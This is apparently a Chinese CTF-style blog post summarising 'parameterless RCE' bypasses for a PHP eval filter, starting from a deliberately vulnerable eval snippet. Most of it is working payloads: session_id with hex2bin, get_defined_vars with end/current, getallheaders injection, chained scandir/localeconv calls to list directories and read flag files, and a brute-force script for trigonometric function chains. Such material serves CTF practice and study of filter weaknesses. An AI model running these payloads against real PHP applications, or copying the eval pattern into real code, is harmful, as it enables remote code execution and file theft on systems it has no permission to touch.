无参数rce

总结一下无参数rce的各种解法（为了便于自己查找，同时为了把自己收藏夹的几个相关网址删掉，每次都在别人博客找很麻烦的（手动狗头））
首先准备代码

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['a'])) {   
   	eval($_GET['a']);}

利用session_id

php中有一个函数叫session_id(),可以直接获取到cookie中的phpsessionid值，phpsessionid的组成符号有限定,不能使用 ’ () '，所以我们需要将我们要执行的命令转换成16进制，然后再通过hex2bin函数转换回去

<?php
echo bin2hex('phpinfo();');  //706870696e666f28293b

但是呢，session_id的使用需要开启session，所以需要session_start()函数
hex2bin(session_id(session_start()))
但是呢，仅仅一个eval执行上面代码只会把十六进制转换成字符串’phpinfo();’,所以我们还需要一个eval
最终

利用get_defined_vars ()函数

get_defined_vars()：返回由所有已定义变量所组成的数组
下面我们先做一个实验

echo "<?php print_r(get_defined_vars()); ?>">4.php

我们通过get或者post方法传入的参数以及它的值能够通过该函数读取出来，
而get_defined_vars()返回的又是一个数组，我们能够通过php的一系列数组函数读取到该数组中任意我们想要的值

end() - 将内部指针指向数组中的最后一个元素，并输出。
next() - 将内部指针指向数组中的下一个元素，并输出。
prev() - 将内部指针指向数组中的上一个元素，并输出。
reset() - 将内部指针指向数组中的第一个元素，并输出。
each() - 返回当前元素的键名和键值，并将内部指针向前移动。

我们先尝试一下current

然后end

发现得到我们想要的字符串phpinfo();
最终payload

a=eval(end(current(get_defined_vars())));&b=phpinfo();

利用getallheaders()

getallheaders返回当前请求的所有请求头信息
直接使用

我是直接把Cache-Control的值改了，也可以操作其他的http头

其他的读取文件的方法

直接说利用代码吧

获得当前目录文件

var_dump(scandir(getcwd())); 
var_dump(scandir(current(localeconv()));  
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));    //利用三角函数和floor ceil，这个是php7下能够成功

获得上级目录文件

var_dump(scandir(dirname(getcwd())));
var_dump(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));//这种方法理论上来说，每隔47秒才能成功执行一次
var_dump(scandir(chr(ceil(sqrt(cosh(tan(tan(tan(cosh(sinh(exp(chdir(next(scandir(pos(localeconv()))))))))))))))));

找到flag文件后的读取
如果flag是最后一个:end()
flag处于倒数第二个:next(array_reverse())
flag处于其他位置（这种靠运气）:array_rand(array_flip())

附上三角函数的脚本，可以自己改一改，或者增加点函数

<?php
$list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin");
foreach($list as $a){
foreach($list as $b){
foreach($list as $c){
foreach($list as $d){
foreach($list as $e){
foreach($list as $f){
foreach($list as $g){
foreach($list as $h){
if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46)
echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n";    
}}}}}}}}
?>

最后用读文件的函数读就可以了，什file_get_contents,readfile,highlight_file等等
就是这些了，以后还发现的话还会继续补充

参考链接：https://www.cnblogs.com/xhds/p/12881059.html
https://www.cnblogs.com/wangtanzhi/p/12260986.html
http://www.manongjc.com/detail/15-pkewlbdqeprvjeh.html
https://blog.csdn.net/qq_45449318/article/details/105237550
https://www.cnblogs.com/wangtanzhi/p/12311239.html